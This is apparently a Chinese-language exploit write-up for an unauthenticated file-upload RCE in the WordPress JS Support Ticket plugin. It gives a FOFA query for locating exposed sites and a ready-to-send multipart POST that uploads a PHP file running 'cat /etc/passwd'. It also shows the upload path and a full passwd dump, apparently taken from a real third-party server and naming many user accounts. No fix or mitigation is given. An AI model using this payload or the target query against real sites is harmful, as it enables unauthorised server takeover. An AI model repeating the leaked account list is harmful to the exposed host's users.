

W5-4WordPress-Ticket插件-RCE

漏洞描述:

WordPress中的JS Support Ticket插件存在未经上传漏洞, 未经身份验证的攻击者可以上传恶意脚本的服务器, 执行任意指令, 从而获取服务器权限。

网络测绘:

fofa语法:

FOFA: body="wp-content/plugins/js-support-ticket"

漏洞复现:

payload:

```
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host: your-ip
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=b983c629ca9b1450283a9b8d1b953898

--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="support_custom_img"; filename="qwe.php"
Content-Type: image/png

<?php system("cat /etc/passwd");?>
--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="action"

--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="form_request"

jssupportticket
--b983c629ca9b1450283a9b8d1b953898--
```

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

1 POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1

2 Host: [redacted]

3 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

4 Accept-Encoding: gzip, deflate

5 Accept: */*

6 Connection: close

7 Content-Type: multipart/form-data; boundary=b983c629ca9b1450283a9b8d1b953898

8

9 --b983c629ca9b1450283a9b8d1b953898

10 Content-Disposition: form-data; name="support_custom_img"; filename="qwe.php"

11 Content-Type: image/png

12

13 <?php system("cat /etc/passwd");?>

14 --b983c629ca9b1450283a9b8d1b953898

15 Content-Disposition: form-data; name="action"

16

17

18 --b983c629ca9b1450283a9b8d1b953898

19 Content-Disposition: form-data; name="form_request"

20

Responses 0bytes / 620ms

1 HTTP/1.1 302 Found

2 Date: Thu, 11 Apr 2024 06:36:06 GMT

3 Server: Apache

4 X-Redirect-By: WordPress

5 Set-Cookie: _wpjshd_session_=55daf637c7a4c5ad571878de expires=Thu, 11-Apr-2024-07:06:06 GMT; Max-Age=3600; Path=/wp-admin/

6 Upgrade: h2,h2c

7 Connection: Upgrade, close

8 Location: http://cbsco.com/wp-admin/admin.php?page=configuration

9 Content-Type: text/html; charset=UTF-8

10

11

验证url

/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/上传文件名

https://[redacted]/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/qwe.php

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/sbin/nologin dbus:x:81:81:System message bus:/sbin/nologin vcsa:x:66:66:VCSA user:/var/lib/vcsa:/sbin/nologin rpm:x:37:37:/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/sbin/nologin mailnull:x:47:47:/var/spool/mailnull:/sbin/nologin smmsp:x:51:51:/var/spool/mqueue:/usr/local/cpanel/bin/jailshell damarzee:x:32108:32111:/home2/damarzee:/usr/local/cpanel/bin/jailshell pcap:x:77:77:/var/arpwatch:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38:/etc/ntp:/sbin/nologin pegasus:x:66:66:Pegasus User:/var/lib/pegasus:/sbin/nologin canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin cpanel:x:32001:32001:/usr/local/cpanel/bin/false named:x:25:25:Named:/var/named:/sbin/nologin mysql:x:101:102:MySQL server:/var/lib/mysql:/usr/sbin/mysqld mailman:x:32002:32002:/usr/local/cpanel/3rdparty/mailman:/bin/false cpanel-horde:x:32003:32005:/var/cpanel/userhomes/cpanel-horde:/usr/sbin/cpanel_phpmyadmin:x:32004:32006:/var/cpanel/userhomes/cpanel-phpmyadmin:/usr/local/cpanel/bin/noshell cpanel-phppgadmin:x:32005:32007:/usr/local/cpanel/bin/noshell hgdaemon:x:32006:32009:/home9/hgdaemon:/bin/false solution:x:32011:32014:/home2/solution biz:x:32013:32016:/home1/biz:/usr/local/cpanel/bin/noshell softline:x:32017:32020:/home2/softline:/usr/local/cpanel/bin/jailshell lesdesk:x:32020:32023:/home1/lesdesk:/usr/local/cpanel/bin/noshell coleman:x:32025:32028:/home1/coleman:/usr/local/cpanel/bin/noshell pcsnet:x:32052:32055:/home1/pcsnet:/usr/local/cpanel/bin/noshell pcsnetwo:x:32073:32076:/home2/pcsnetwo:/usr/local/cpanel/bin/noshell femoye:x:32098:32101:/home2/femoye:/usr/local/cpanel/bin/jailshell damarzee:x:32108:32111:/home2/damarzee:/usr/local/cpanel/bin/jailshell ocwcom:x:32121:32124:/home1/ocwcom:/usr/local/cpanel/bin/noshell securervskin:x:32129:32132:/home9/rvadmin:/sbin/nologin leslie:x:32133:32136:/home1/leslie:/usr/local/cpanel/bin/noshell mike:x:32149:32152:/home2/mike:/usr/local/cpanel/bin/noshell linda:x:32150:32153:/home1/linda:/usr/local/cpanel/bin/noshell pcd:x:32152:32155:/home1/pcd:/usr/local/cpanel/bin/noshell uhf:x:32166:32169:/home1/uhf:/usr/local/cpanel/bin/noshell ghapt:x:32172:32175:/home2/ghapt:/usr/local/cpanel/bin/noshell arbors:x:32176:32179:/home1/arbors:/usr/local/cpanel/bin/noshell getaways:x:32177:32180:/home2/getaways:/usr/local/cpanel/bin/noshell ixOgen1:x:32193:32196:/home1/ixOgen1:/usr/local/cpanel/bin/jailshell pcs0001:x:32195:32198:/home1/pcs0001:/usr/local/cpanel/bin/noshell dolwebs:x:32199:32202:/home2/dolwebs:/usr/local/cpanel/bin/jailshell robben:x:32216:32219:/home2/robben:/usr/local/cpanel/bin/noshell afoutsjr:x:32255:32258:/home2/afoutsjr:/usr/local/cpanel/bin/noshell tuwebcol:x:32256:32259:/home1/tuwebcol:/usr/local/cpanel/bin/noshell initsos:x:32257:32260:/home2/initsos:/usr/local/cpanel/bin/noshell k5000gr:x:32262:32265:/home1/k5000gr:/usr/local/cpanel/bin/noshell maz:x:32327:32330:/home1/maz:/usr/local/cpanel/bin/noshell gumfamil:x:32334:32337:/home9/gumfamil:/sbin/nologin angeweb:x:32381:32384:/home1/angeweb:/usr/local/cpanel/bin/noshell